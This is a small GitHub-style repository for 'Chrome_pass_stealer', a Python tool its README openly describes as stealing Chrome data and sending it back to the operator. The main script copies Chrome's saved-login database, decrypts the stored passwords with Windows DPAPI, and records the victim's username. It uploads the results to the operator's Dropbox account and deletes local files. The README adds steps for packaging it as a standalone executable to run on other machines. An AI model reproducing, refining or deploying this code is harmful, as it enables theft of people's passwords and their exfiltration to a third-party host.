├── .gitignore
├── requirements.txt
├── config.json
├── LICENSE
├── README.md
└── chromepass.py
/.gitignore:
--------------------------------------------------------------------------------
1 | **/__pycache__/**
2 | *.exe
3 | *.spec
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | dropbox shutil pyinstaller
2 |
--------------------------------------------------------------------------------
/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "dropbox_token": "enter your token here"
3 | }
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 SaiTeja69
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Chrome_pass_stealer
2 | A python application to steal chrome data and push it back to you
3 | Finds the data , pushes it back to you.
4 |
5 |
6 | An Improvised Version of [Shaskank Chandak's Password Stealer](https://github.com/shashankchandak/PasswordStealer). What's improved you may ask? That version doesn't work!
7 |
8 | ### Before you begin
9 | - Get an DropBox API key from [Here](https://blogs.dropbox.com/developers/2014/05/generate-an-access-token-for-your-own-account/)
10 | - After you get the key add it in `config.json`
11 |
12 | #### How to create an exe file ?
13 |
14 | - Make the edits in your .py file (add your api key etc)
15 |
16 | - Now install pyinstaller
17 | ```sh
18 | $ pip install pyinstaller
19 | ```
20 | - Build the package by executing following command
21 |
22 | ```sh
23 | pyinstaller --onefile chromepass.py
24 | ```
25 | NOTE: After you build the executable, It will work on any machine even if that machine doesn't have python installed.
26 |
27 |
28 |
29 | ## Disclaimer
30 | I am not responsible for any damage caused by you , using this app . This app is made only for demonstration purpose itself.
31 |
--------------------------------------------------------------------------------
/chromepass.py:
--------------------------------------------------------------------------------
1 | import json
2 | import os
3 | import sqlite3
4 | import shutil
5 | import getpass
6 | import dropbox
7 | import random
8 | try:
9 | import win32crypt
10 | except:
11 | pass
12 |
13 | config = json.load(open('./config.json', 'r'))
14 |
15 | def main():
16 | send()
17 |
18 |
19 | def getpasswords():
20 |
21 | dataToBeSent = {}
22 | dataList = []
23 | path = getpath()
24 | try:
25 | connection = sqlite3.connect(path+'\Login Data')
26 | cursor = connection.cursor()
27 | v = cursor.execute(
28 | 'SELECT action_url, username_value, password_value FROM logins')
29 | value = v.fetchall()
30 |
31 | for origin_url, username, password in value:
32 | password = win32crypt.CryptUnprotectData(
33 | password, None, None, None, 0)[1]
34 |
35 | if password:
36 | dataList.append({
37 | 'origin_url': origin_url,
38 | 'username': username,
39 | 'password': str(password)[2:-1]
40 | })
41 |
42 |
43 |
44 |
45 | except sqlite3.OperationalError as e:
46 | e = str(e)
47 | if (e == 'database is locked'):
48 | print('[!] Make sure Google Chrome is not running in the background')
49 | elif (e == 'no such table: logins'):
50 | print('[!] Something wrong with the database name')
51 | elif (e == 'unable to open database file'):
52 | print('[!] Something wrong with the database path')
53 | else:
54 | print(e)
55 |
56 | dataToBeSent["user"] = getpass.getuser()
57 | dataToBeSent["passwords"] = dataList
58 | return dataToBeSent
59 |
60 | def send():
61 |
62 | jsonData = getpasswords()
63 | #Get your access code form dropbox to use it here.
64 | dbx=dropbox.Dropbox(config['dropbox_token'])
65 | file_from="c:\prog\Login Data"
66 | x=random.randint(1,500)
67 | z=str(x)+'.txt'
68 | new_f=open(z,'w+')
69 | new_f.write(str(jsonData.items()))
70 | new_f.close()
71 | file_to="/kaunheh/"+z
72 | with open(z, 'rb') as f:
73 | dbx.files_upload(f.read(), file_to)
74 | os.remove(z)
75 | os.remove(file_from)
76 |
77 | def getpath():
78 |
79 | source = os.getenv('localappdata') + \
80 | '\\Google\\Chrome\\User Data\\Default\\Login Data'
81 | target = "C:\prog";
82 | try:
83 | os.mkdir(target)
84 | except:
85 | print('f')
86 |
87 | shutil.copy(source, target)
88 | return target
89 |
90 | if __name__== '__main__':
91 | main()
92 |
93 |
--------------------------------------------------------------------------------